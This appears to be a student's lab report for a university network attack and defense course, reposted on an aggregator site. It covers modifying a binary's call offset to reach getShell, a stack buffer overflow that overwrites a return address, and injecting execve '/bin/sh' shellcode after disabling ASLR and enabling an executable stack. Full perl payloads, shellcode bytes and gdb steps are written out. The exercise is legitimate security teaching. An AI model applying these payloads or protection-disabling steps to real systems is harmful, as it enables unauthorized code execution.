当前位置: 首页 > news >正文

20251904 2025-2026-2 《网络攻防实践》第九周作业

20251904 2025-2026-2 《网络攻防实践》实践九报告

目录
  • 20251904 2025-2026-2 《网络攻防实践》实践九报告
    • 1.实践内容
      • 1.1 实践内容总结
        • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
        • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
        • 注入一个自己制作的shellcode并运行这段shellcode。
      • 1.2 知识点总结
        • 可执行文件指令级修改
        • 栈缓冲区溢出攻击
        • Shellcode注入与系统防护机制
    • 2.实践过程
      • 2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数
      • 2.3注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

1.1 实践内容总结

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

1.2 知识点总结

可执行文件指令级修改

通过objdump反汇编定位目标函数地址及call指令,理解相对偏移寻址机制(目标地址 = 当前PC + 偏移量)。使用十六进制编辑器直接修改机器码中的偏移量,可改变函数调用目标,实现程序执行流的静态劫持。

栈缓冲区溢出攻击

分析函数栈帧布局:局部变量区、保存的EBP、返回地址依次排列。计算缓冲区起始位置到返回地址的字节偏移量,构造包含恶意地址的溢出字符串。当函数返回时,CPU会跳转到覆盖后的地址,从而劫持控制流执行任意代码。

Shellcode注入与系统防护机制

编写实现功能(如启动shell)的简短机器码作为shellcode。利用execstack设置栈可执行,关闭ASLR以固定栈地址。通过调试器确定返回地址在栈上的位置,构造“填充+NOP滑梯+shellcode+覆盖返回地址”的攻击载荷,使程序返回时滑入shellcode并执行。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

用自己的学号(20251904)替换命令行的名字,键入hostnamectl set-hostname 20251904sunchenxi后点击重启
image
键入objdump -d 20251904scxpwn1 | more (原文件名为pwn1,这里我在前面加入了我的学号20251904和姓名scx(孙晨曦))
image
按回车键查看更多,可以发现:
getShell
image
foo
image
main
image
从上图可以看出,main函数第四行是在调用地址为0x08048491的foo函数,对应的机器指令为:e8 d7 ff ff ff。其中e8是call指令的操作码,后面四个字节d7 ff ff ff是要跳转的偏移量,采用补码形式表示。此时EIP寄存器中的值是下一条指令的地址0x080484ba。三者满足的关系为:0x080484ba + d7 ff ff ff = 0x08048491。
要将调用目标直接改为getShell函数,只需把foo函数的地址替换成getShell函数的地址。利用上述关系进行计算:0x0804847d - 0x080484ba = c3 ff ff ff,由此得到需要修改的机器指令为:e8 c3 ff ff ff。
键入vim 20251904scxpwn1
image
键入:%!xxd
image
输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3
image
image
:%!xxd -r还原后键入:wq退出
image
objdump -d 20251904scxpwn1 | more,发现已经完成修改
image
./20251904scxpwn1后键入ls
image
已经成功获得了 Shell,修改后的程序(或利用程序)正确地将执行流程劫持到了 getShell 函数,启动了一个新的 /bin/sh 进程。

2.2利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数

objdump -d ./pwn20251904scx | grep getShell
image
拿到了 getShell 的地址:0x0804847d
objdump -d ./pwn20251904scx | grep -A20 ':' 查看 foo 函数反汇编
image
缓冲区开始于 ebp - 0x1c(距 ebp 28 字节)返回地址存储于 ebp + 4因此从缓冲区起始到返回地址的偏移 = 0x1c + 4 = 0x20 = 32 字节
构造一个foo 函数缓冲区溢出漏洞的攻击输入,用 32 个字节的填充(A)覆盖栈上缓冲区直到返回地址的位置,然后将 getShell 函数的地址(0x0804847d)以小端格式写入返回地址位置,使得 foo 函数返回时跳转到 getShell 执行,从而获得 shell 或执行预期的恶意功能。
构造攻击输入字符串:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > inputstringscx
image
这样创建一个名为 inputstringscx 的文件,其中包含11111111222222223333333344444444和 getShell 的地址
再键入xxd inputstringscx
image
(cat inputstringscx; cat) | ./pwn20251904sunchenxi 使用管道符 | 将攻击字符串作为程序输入,完成攻击
image
攻击成功
image

2.3注入一个自己制作的shellcode并运行这段shellcode

安装execstack:
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb(先在宿主机下载了.deb复制到虚拟机)
image
execstack -s pwnscx20251904 将堆栈设置为可执行状态
image
execstack -9 pwnscx20251904 查询当前的“栈可执行”状态
image
X表示栈可执行。程序运行时,栈上的内存具有执行权限(rwx)。这意味着如果存在栈溢出,可以直接在栈上放置并运行 shellcode,无需绕过 NX 保护。
more /proc/sys/kernel/randomize_va_space查看地址状态随机化
image
2表明系统开启了完全 ASLR(地址空间布局随机化)
sudo su提权后,echo "0" > more /proc/sys/kernel/randomize_va_space 关闭地址随机化,再查看地址状态随机化
image
使用perl来构造输入字符串:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > scx1904
image

打开两个终端,一终端输入命令(cat scx1904;cat) | ./pwnscx20251904作为pwnscx20251904的输入
image
另一终端ps -ef | grep pwnscx20251904查看进程
image
进程号为7855
打开一个终端,进行gdb调试
gdb pwnscx20251904
image
attach 7855
image
disassemble foo
image
可以看到ret的地址为0x080484ae
下面在ret处设置断点:break *0x080484ae
image
在(cat scx1904;cat) | ./pwnscx20251904终端按回车
image
在gdb终端输入c后输入命令info r esp
image
可以查看到栈顶指针所在位置为0xffffd2dc
下面输入命令x/16x 0xffffd2dc
image
可以查看当前栈顶的值
下面以此来构造shellcode
perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > scx1904
image
(cat scx1904;cat) | ./pwnscx20251904,发现攻击成功
image

3.学习中遇到的问题及解决

  • 问题1:虚拟机无法使用wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb下载execstack
  • 问题1解决方案:在宿主机下载好.deb文件之后复制到虚拟机安装

4.实践总结

这个实践让我深入理解了指令偏移计算及缓冲区溢出原理。亲手关闭ASLR并注入shellcode,成功劫持控制流。让我深刻认识到内存安全的重要性,任何输入校验缺失都可能成为系统突破口。感觉难度整体适中,但也在下载execstack、gdb时遇到了一点问题,好在换了离线安装的方式之后成功解决了。

http://www.jsqmd.com/news/921555/

相关文章:

  • 公司采购用什么软件?从功能覆盖、系统稳定性到实施成本,选型前必看的几个核心维度 - 品牌排行榜
  • 网络安全初创公司如何通过技术挑战赛验证产品与获取资源
  • GMT6.4绘图进阶:给你的地形剖面图加上高程填充与海平面标识
  • 深度体验CSDN AI智选与深度创作功能:技术博主的创作革命还是另一个噱头
  • 审稿人视角:你的稳健性检验为什么总被质疑?避开这5个坑
  • 别再死记硬背了!用这个电容压差“突变”的数学例子,彻底搞懂EG2104自举原理
  • Autoware.universe开发环境搭建:为什么我更推荐Ubuntu 22.04 + 源码安装而非Docker?
  • AI模拟社区r/SubSimulator:从马尔可夫链到GPT-2的社交实验
  • 如何快速掌握DownKyi:5步实现B站视频下载终极技巧
  • 内网CentOS 7离线装LibreOffice 7.1,我踩过的依赖坑都帮你填好了
  • VMware ESXi 9.1 macOS Unlocker OEM BIOS 2.7 Inspur 浪潮 定制版
  • VASP计算完别急着关!手把手教你从OUTCAR、DOSCAR里“挖”出有用数据
  • AI与大数据泡沫下,创业者如何构建真正的技术壁垒与叙事
  • AI哲学对话实验:大语言模型如何模拟人类哲学思考
  • Kubernetes新手必看:kubectl get nodes报错localhost:8080?别慌,三步搞定kubeconfig配置
  • 别再写for循环了!用Java 8 Stream优雅搞定List转Map/有序Map(附完整代码)
  • 内容平台后台迁移实战:从数据备份到效率提升的完整指南
  • 2026年生产报工软件怎么选?黑湖小工单对比其他MES有什么优势? - 黑湖科技老黑
  • AI文本检测与反检测:PassMe.ai原理、应用与人类化写作策略
  • Seraphine:重塑英雄联盟游戏决策体验的智能游戏辅助工具
  • 【Lovable区块链平台深度解码】:20年架构师亲授3大核心设计哲学与落地避坑指南
  • 数据科学家必备的8个生产力工具:从开发到部署的全链路实践
  • Flutter视频播放避坑指南:除了降低RTSP延迟,VLC插件这些高级选项你配置对了吗?
  • 手机号码定位系统:3步搭建免费查询工具,轻松获取地理位置信息
  • NAS外接存储避坑指南:USB硬盘盒、阵列盒、网络挂载,哪种方案最适合你的DS920+/TS-453D?
  • AI时代的教育变革与认知重塑:从工具应用到思维范式迁移
  • 2025-2026年上海云邦律师事务所电话查询:委托前请核实资质与合同条款 - 品牌推荐
  • 低代码≠零运维:Lovable平台上线后崩溃的7个凌晨,我们用这4个监控埋点挽回SLA(生产环境血泪复盘)
  • 创业公司AI落地实战:从AlphaGo神话到务实策略,四步法打造可执行AI路径
  • 新华区华鑫制冷设备:石家庄靠谱的二手低温机组销售公司推荐几家 - LYL仔仔